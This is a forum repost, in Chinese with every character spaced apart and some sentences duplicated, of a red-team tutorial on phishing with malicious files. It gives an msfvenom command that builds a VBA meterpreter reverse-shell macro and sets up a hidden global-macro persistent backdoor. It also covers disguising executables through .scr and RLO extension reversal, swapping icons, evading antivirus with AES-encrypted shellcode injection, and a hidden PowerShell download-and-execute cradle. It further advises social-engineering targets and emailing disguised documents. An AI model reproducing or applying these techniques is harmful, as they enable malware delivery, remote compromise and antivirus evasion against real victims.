设为首页收藏本站
切换到窄版

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
Nmaps Club»论坛 › Pentests Wiki › Wiki › 护网 › [14879] 2019-11-29_攻防演练对抗赛之初识文件钓鱼 ...
返回列表 发新帖
查看: 4|回复: 0

[14879] 2019-11-29_攻防演练对抗赛之初识文件钓鱼

[复制链接]
s7ckTeam

6万

主题

-6万

回帖

-54

积分

管理员

积分
-54
发表于 2025-1-18 16:59:08 | 显示全部楼层 |阅读模式
2019-11-29_攻防演练对抗赛之初识文件钓鱼 攻 防 演 练 对 抗 赛 之 初 识 文 件 钓 鱼 诺 言   F r e e B u f   2 0 1 9 - 1 1 - 2 9 前 言 前 言 今 年 参 加 了 几 次 攻 防 演 练 对 抗 赛 ， 其 它 队 伍 依 靠 社 工 结 合 文 件 钓 鱼 得 了 不 少 分 ， 自 己 之 前 并 没 有 相 关 知 识 的 积 累 ， 因 此 在 这 个 方 面 吃 了 一 些 亏 。 今 年 参 加 了 几 次 攻 防 演 练 对 抗 赛 ， 其 它 队 伍 依 靠 社 工 结 合 文 件 钓 鱼 得 了 不 少 分 ， 自 己 之 前 并 没 有 相 关 知 识 的 积 累 ， 因 此 在 这 个 方 面 吃 了 一 些 亏 。 o f f i c e 宏 攻 击 宏 攻 击 宏 是 微 软 公 司 为 其 O F F I C E 软 件 包 设 计 的 一 个 特 殊 功 能 ， 有 着 独 特 的 文 件 后 缀 名 ， 如 ： x l s m ， d o c m ， p p t m 等 。 1 、 、 m s f 生 成 生 成 p a y l o a d - f 指 定 生 成 v b a 宏 语 言 的 攻 击 p a y l o a d 首 先 新 建 一 个 支 持 文 件 宏 的 o f f i c e 文 件 ， 以 . d o c m 进 行 演 示 。 首 先 选 择 文 件 - 选 项 - 自 定 义 功 能 区 - 开 发 工 具 。 m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = i p 地 址   L P O R T = 端 口   - f   v b a   - o   n o u y a n . v b a
点 击 宏 按 钮 ， 创 建 一 个 新 的 文 件 宏 。 把 m s f 生 成 的 宏 代 码 复 制 到 代 码 框 中 。 保 存 文 件 ， 一 个 m s f 的 反 弹 文 件 制 作 完 成 。 m s f 开 启 监 听 。 打 开 生 成 的 1 . d o c m 文 档 。
出 现 安 全 警 告 ， 提 升 宏 被 禁 用 ， 点 击 启 用 内 容 。 成 功 上 线 。 2 、 、 c s 生 成 生 成 p a y l o a d c s 也 支 持 生 成 o f f i c e 宏 代 码 。 选 择 一 个 监 听 器 ， 直 接 复 制 代 码 到 宏 代 码 框 中 。
上 线 成 功 。 实 战 实 战 类 似 o f f i c e 宏 还 有 一 些 其 它 利 用 方 式 ， 如 D O C X 文 档 远 程 模 板 注 入 执 行 宏 ， 还 可 以 通 过 s h e l l c o d e 进 行 免 杀 处 理 。 在 实 战 中 ， 首 先 尽 可 能 社 工 目 标 的 各 种 信 息 ， 取 得 对 方 信 任 ， 根 据 钓 鱼 的 目 标 ， 修 改 文 档 的 名 字 ， 通 过 邮 箱 进 行 发 送 ， 如 x x 公 司 采 购 说 明 。 o f f i c e 宏 钓 鱼 存 在 几 大 不 适 用 性 ： 1 、 对 方 电 脑 未 使 用 o f f i c e 。 2 、 o f f i c e 默 认 禁 用 宏 ， 打 开 文 件 会 进 行 提 示 。 3 、 独 特 的 宏 文 件 后 缀 ， d o c m ， x l s m 等 ， 容 易 引 起 他 人 怀 疑 。 4 、 免 杀 性 要 求 较 高 。 全 局 宏 建 立 持 久 性 后 门 全 局 宏 建 立 持 久 性 后 门 o f f i c e 宏 除 了 用 于 钓 鱼 ， 还 可 以 用 来 建 立 隐 蔽 的 持 久 性 后 门 。 新 建 一 个 宏 ， 位 置 要 选 择 所 有 活 动 模 版 和 文 档 。
在 T h i s D o c u m e n t 中 写 入 宏 代 码 ， 进 行 保 存 。 成 功 建 立 了 一 个 隐 藏 持 久 性 后 门 ， 打 开 任 意 文 档 都 可 以 触 发 宏 代 码 ， 且 杀 软 没 有 任 何 反 应 。
可 执 行 可 执 行 e x e 文 件 文 件 m s f 和 c s 都 可 以 生 成 反 弹 木 马 ， 通 过 鼠 标 点 击 的 方 式 进 行 触 发 。 e x e 木 马 用 于 钓 鱼 ， 主 要 解 决 的 问 题 有 三 个 ： 1   、 后 缀 名 隐 藏 2 、 文 件 图 标 更 换 3 、 文 件 免 杀 后 缀 名 隐 藏 后 缀 名 隐 藏 h t t p s : / / n u l l - b y t e . w o n d e r h o w t o . c o m / h o w - t o / h i d e - v i r u s - i n s i d e - f a k e - p i c t u r e - 0 1 6 8 1 8 3 / 经 典 的 经 典 的 “   . j p g . e x e ” 默 认 情 况 下 ， W i n d o w s 隐 藏 已 知 的 文 件 扩 展 名 。 使 用 使 用 . s c r 扩 展 名 扩 展 名 s c r 等 同 于 e x e 后 缀 名 。
U n i t r i x 反 转 后 缀 反 转 后 缀 更 改 文 件 名 为 ： 重 要 资 料 x g p j . s c r 光 标 移 动 到 g 之 前 选 择 R L O 反 转 。 成 功 隐 藏 后 缀 。
经 过 测 试 ， 使 用 . s c r 扩 展 名 和 U n i t r i x 反 转 后 缀 会 被 3 6 0 直 接 报 毒 。 文 件 图 标 更 换 文 件 图 标 更 换 使 用 R e s t o r a t o r 对 e x e 文 件 进 行 图 标 更 改 。 把 木 马 文 件 和 想 要 替 换 的 目 标 e x e 都 拖 入 到 软 件 中 。 拖 拽 3 6 0 图 标 到 a a a . e x e 中 ， 保 存 文 件 ， 成 功 替 换 图 标 。 文 件 免 杀 文 件 免 杀 介 绍 两 种 免 杀 姿 势 。 ‘ A ’ ’ V ‘ l a t o r 免 杀 免 杀 下 载 传 送 门 一 个 后 门 生 成 器 实 用 程 序 ， 它 使 用 加 密 和 注 入 技 术 来 绕 过 杀 软 检 测 ， 并 且 自 带 了 R T L O 和 更 改 图 标 功 能 。 使 用 A E S 加 密 来 加 密 给 定 的 s h e l l c o d e 生 成 包 含 加 密 有 效 负 载 的 可 执 行 文 件 使 用 各 种 注 入 技 术 将 s h e l l c o d e 解 密 并 注 入 目 标 系 统
共 有 三 个 表 单 ： 分 别 存 放 用 于 加 密 s h e l l c o d e 的 加 密 密 钥 的 文 本 ， A E S 加 密 的 I V 的 文 本 和 s h e l l c o d e 的 文 本 。 程 序 左 方 给 出 了 在 m s f 框 架 下 的 利 用 步 骤 。 本 次 使 用 c s 进 行 演 示 。 1 、 生 成 c # 的 p a y l o a d 2 、 保 留 1 6 进 制 ， 使 用 n o t e p a d + + 去 除 空 格 3 、 复 制 到 p a y l o a d 框 中 进 行 加 密
4 、 可 以 选 择 反 转 后 缀 （ 会 被 某 些 杀 毒 识 别 为 恶 意 软 件 ） ， 替 换 图 标 ， 选 择 注 入 技 术 ， 成 功 生 成 文 件 。 可 以 绕 过 大 多 数 的 杀 软 。 本 机 完 美 绕 过 3 6 0 动 静 态 查 杀 。 p o w e r s h e l l 免 杀 免 杀 当 前 各 大 杀 软 对 p o w e r s h e l l 的 免 杀 能 力 都 不 强 。 免 杀 思 路 ： 首 先 找 到 免 杀 的 p o w e r s h e l l   p a y l o a d ， 通 过 其 它 语 言 系 统 命 令 执 行 函 数 ， 调 用 p o w e r s h e l l ， 最 后 打 包 成 e x e 。 使 用 c s 自 动 生 成 的 p a y l o a d 。 接 下 来 的 目 的 是 对 执 行 的 p o w e r s h e l l 语 句 进 行 免 杀 处 理 。 h t t p s : / / 0 4 z . n e t / a r c h i v e s / b f 6 2 7 2 9 2 . h t m l 文 章 里 面 的 一 些 免 杀 思 路 都 不 错 。 p o w e r s h e l l . e x e   - n o p   - w   h i d d e n   - c   " I E X   ( ( n e w - o b j e c t   n e t . w e b c l i e n t ) . d o w n l o a d s t r i n g ( ' h t t p : / / x . x . x . x / ' ) ) "
回复

举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver|手机版|小黑屋|Nmaps Club

GMT+8, 2025-2-2 22:35 , Processed in 0.923158 second(s), 30 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表